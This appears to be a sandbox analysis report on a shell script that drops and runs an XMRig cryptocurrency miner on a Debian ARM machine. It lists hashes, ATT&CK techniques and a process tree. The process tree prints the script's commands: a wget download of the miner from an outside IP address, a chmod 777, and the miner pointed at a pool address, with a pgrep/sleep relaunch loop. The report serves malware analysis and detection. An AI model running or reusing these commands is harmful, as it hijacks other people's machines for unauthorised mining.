xmrig | 82d5f1b0b96907494a793d1cd838b2ea1b8fc7f7e758ae56bcc75d89ed6f3e97

Analysis

max time kernel
146s
max time network
14s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
29-12-2024 04:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

sa.sh
Size

438B
MD5

52f6ef322dd61383cc5f03bba971ecc1
SHA1

a540ec9917e63a178aa44b3f3570a54ff8c88135
SHA256

82d5f1b0b96907494a793d1cd838b2ea1b8fc7f7e758ae56bcc75d89ed6f3e97
SHA512

c17b540e81ca673cfb39cedb1417bfebb0367d61f9f9315710713bc0167cfb953b2b0fdec2bad0435c4ac423e41935fac7fa76ceb288f07174273b9f32f1d938

Score

10^/10

xmrig xmrig_linux defense_evasion discovery miner

Malware Config

Signatures

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xmrig
behavioral2/files/fstream-1.dat	xmrig

Xmrig family
xmrig
Xmrig_linux family
xmrig_linux
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
753	chmod

Executes dropped EXE 27 IoCs

ioc	pid	Process
/tmp/xmrig	755	xmrig
/tmp/xmrig	761	xmrig
/tmp/xmrig	765	xmrig
/tmp/xmrig	771	xmrig
/tmp/xmrig	778	xmrig
/tmp/xmrig	784	xmrig
/tmp/xmrig	788	xmrig
/tmp/xmrig	794	xmrig
/tmp/xmrig	798	xmrig
/tmp/xmrig	804	xmrig
/tmp/xmrig	808	xmrig
/tmp/xmrig	815	xmrig
/tmp/xmrig	819	xmrig
/tmp/xmrig	825	xmrig
/tmp/xmrig	829	xmrig
/tmp/xmrig	835	xmrig
/tmp/xmrig	839	xmrig
/tmp/xmrig	845	xmrig
/tmp/xmrig	849	xmrig
/tmp/xmrig	855	xmrig
/tmp/xmrig	859	xmrig
/tmp/xmrig	865	xmrig
/tmp/xmrig	869	xmrig
/tmp/xmrig	875	xmrig
/tmp/xmrig	879	xmrig
/tmp/xmrig	885	xmrig
/tmp/xmrig	889	xmrig

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 27 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/41/status	pgrep
File opened for reading	/proc/22/status	pgrep
File opened for reading	/proc/15/cmdline	pgrep
File opened for reading	/proc/650/cmdline	pgrep
File opened for reading	/proc/311/status	pgrep
File opened for reading	/proc/199/cmdline	pgrep
File opened for reading	/proc/649/status	pgrep
File opened for reading	/proc/21/status	pgrep
File opened for reading	/proc/114/status	pgrep
File opened for reading	/proc/280/status	pgrep
File opened for reading	/proc/650/cmdline	pgrep
File opened for reading	/proc/157/cmdline	pgrep
File opened for reading	/proc/115/status	pgrep
File opened for reading	/proc/20/cmdline	pgrep
File opened for reading	/proc/2/status	pgrep
File opened for reading	/proc/16/cmdline	pgrep
File opened for reading	/proc/115/cmdline	pgrep
File opened for reading	/proc/43/cmdline	pgrep
File opened for reading	/proc/888/cmdline	pgrep
File opened for reading	/proc/15/status	pgrep
File opened for reading	/proc/601/status	pgrep
File opened for reading	/proc/sys/kernel/osrelease	pgrep
File opened for reading	/proc/114/cmdline	pgrep
File opened for reading	/proc/2/cmdline	pgrep
File opened for reading	/proc/645/cmdline	pgrep
File opened for reading	/proc/9/cmdline	pgrep
File opened for reading	/proc/27/cmdline	pgrep
File opened for reading	/proc/293/status	pgrep
File opened for reading	/proc/17/cmdline	pgrep
File opened for reading	/proc/8/status	pgrep
File opened for reading	/proc/13/status	pgrep
File opened for reading	/proc/18/status	pgrep
File opened for reading	/proc/43/status	pgrep
File opened for reading	/proc/864/cmdline	pgrep
File opened for reading	/proc/22/cmdline	pgrep
File opened for reading	/proc/650/status	pgrep
File opened for reading	/proc/279/status	pgrep
File opened for reading	/proc/9/cmdline	pgrep
File opened for reading	/proc/41/cmdline	pgrep
File opened for reading	/proc/27/status	pgrep
File opened for reading	/proc/23/status	pgrep
File opened for reading	/proc/112/status	pgrep
File opened for reading	/proc/24/cmdline	pgrep
File opened for reading	/proc/783/cmdline	pgrep
File opened for reading	/proc/28/cmdline	pgrep
File opened for reading	/proc/22/status	pgrep
File opened for reading	/proc/21/status	pgrep
File opened for reading	/proc/21/cmdline	pgrep
File opened for reading	/proc/10/status	pgrep
File opened for reading	/proc/19/status	pgrep
File opened for reading	/proc/598/status	pgrep
File opened for reading	/proc/42/cmdline	pgrep
File opened for reading	/proc/598/status	pgrep
File opened for reading	/proc/650/status	pgrep
File opened for reading	/proc/19/status	pgrep
File opened for reading	/proc/311/status	pgrep
File opened for reading	/proc/filesystems	pgrep
File opened for reading	/proc/227/cmdline	pgrep
File opened for reading	/proc/26/cmdline	pgrep
File opened for reading	/proc/644/cmdline	pgrep
File opened for reading	/proc/279/status	pgrep
File opened for reading	/proc/11/status	pgrep
File opened for reading	/proc/12/status	pgrep
File opened for reading	/proc/883/cmdline	pgrep

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/xmrig	wget

/tmp/sa.sh
/tmp/sa.sh
1⤵
PID:647

/usr/bin/nohup
nohup bash /tmp/sa.sh nobg
1⤵
PID:649

/usr/local/sbin/bash
bash /tmp/sa.sh nobg
1⤵
PID:649

/usr/local/bin/bash
bash /tmp/sa.sh nobg
1⤵
PID:649

/usr/sbin/bash
bash /tmp/sa.sh nobg
1⤵
PID:649

/usr/bin/bash
bash /tmp/sa.sh nobg
1⤵
PID:649

/sbin/bash
bash /tmp/sa.sh nobg
1⤵
PID:649

/bin/bash
bash /tmp/sa.sh nobg
1⤵
PID:649
- /usr/bin/wget
  wget http://81.28.10.96/xmrig --no-check-certificate -O xmrig
  2⤵
  - Writes file to tmp directory
  PID:656
- /bin/chmod
  chmod 777 xmrig
  2⤵
  - File and Directory Permissions Modification
  PID:753
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:754
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:755
- /bin/sleep
  sleep 5
  2⤵
  PID:756
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:760
- /bin/sleep
  sleep 5
  2⤵
  PID:762
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:761
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:764
- /bin/sleep
  sleep 5
  2⤵
  PID:766
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:765
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:770
- /bin/sleep
  sleep 5
  2⤵
  PID:772
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:771
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:777
- /bin/sleep
  sleep 5
  2⤵
  PID:779
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:778
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:783
- /bin/sleep
  sleep 5
  2⤵
  PID:785
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:784
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:787
- /bin/sleep
  sleep 5
  2⤵
  PID:789
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:788
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:793
- /bin/sleep
  sleep 5
  2⤵
  PID:795
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:794
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:797
- /bin/sleep
  sleep 5
  2⤵
  PID:799
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:798
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:803
- /bin/sleep
  sleep 5
  2⤵
  PID:805
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:804
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:807
- /bin/sleep
  sleep 5
  2⤵
  PID:809
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:808
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:814
- /bin/sleep
  sleep 5
  2⤵
  PID:816
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:815
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:818
- /bin/sleep
  sleep 5
  2⤵
  PID:820
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:819
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:824
- /bin/sleep
  sleep 5
  2⤵
  PID:826
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:825
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:828
- /bin/sleep
  sleep 5
  2⤵
  PID:830
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:829
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:834
- /bin/sleep
  sleep 5
  2⤵
  PID:836
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:835
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:838
- /bin/sleep
  sleep 5
  2⤵
  PID:840
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:839
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  PID:844
- /bin/sleep
  sleep 5
  2⤵
  PID:846
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:845
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:848
- /bin/sleep
  sleep 5
  2⤵
  PID:850
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:849
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:854
- /bin/sleep
  sleep 5
  2⤵
  PID:856
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:855
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:858
- /bin/sleep
  sleep 5
  2⤵
  PID:860
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:859
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:864
- /bin/sleep
  sleep 5
  2⤵
  PID:866
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:865
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:868
- /bin/sleep
  sleep 5
  2⤵
  PID:870
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:869
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:874
- /bin/sleep
  sleep 5
  2⤵
  PID:876
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:875
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:878
- /bin/sleep
  sleep 5
  2⤵
  PID:880
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:879
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:884
- /bin/sleep
  sleep 5
  2⤵
  PID:886
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:885
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:888
- /bin/sleep
  sleep 5
  2⤵
  PID:890
- /tmp/xmrig
  ./xmrig --url 193.232.178.53:80 -B
  2⤵
  - Executes dropped EXE
  PID:889

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/xmrig

Filesize
7.9MB

MD5
8f4fff0ded94f1141768220906abfbb8

SHA1
ea7c97294f415dc8713ac8c280b3123da62f6e56

SHA256
b0e1ae6d73d656b203514f498b59cbcf29f067edf6fbd3803a3de7d21960848d

SHA512
0096072a1482f8e7999867baa3dd6e96d51591e9f7645c9ff276b53984957025c83e1fe52e5c4f55639eeed2bdbd80bbd57d7dacd84468ce09c834e39dfc4bee

Download Submit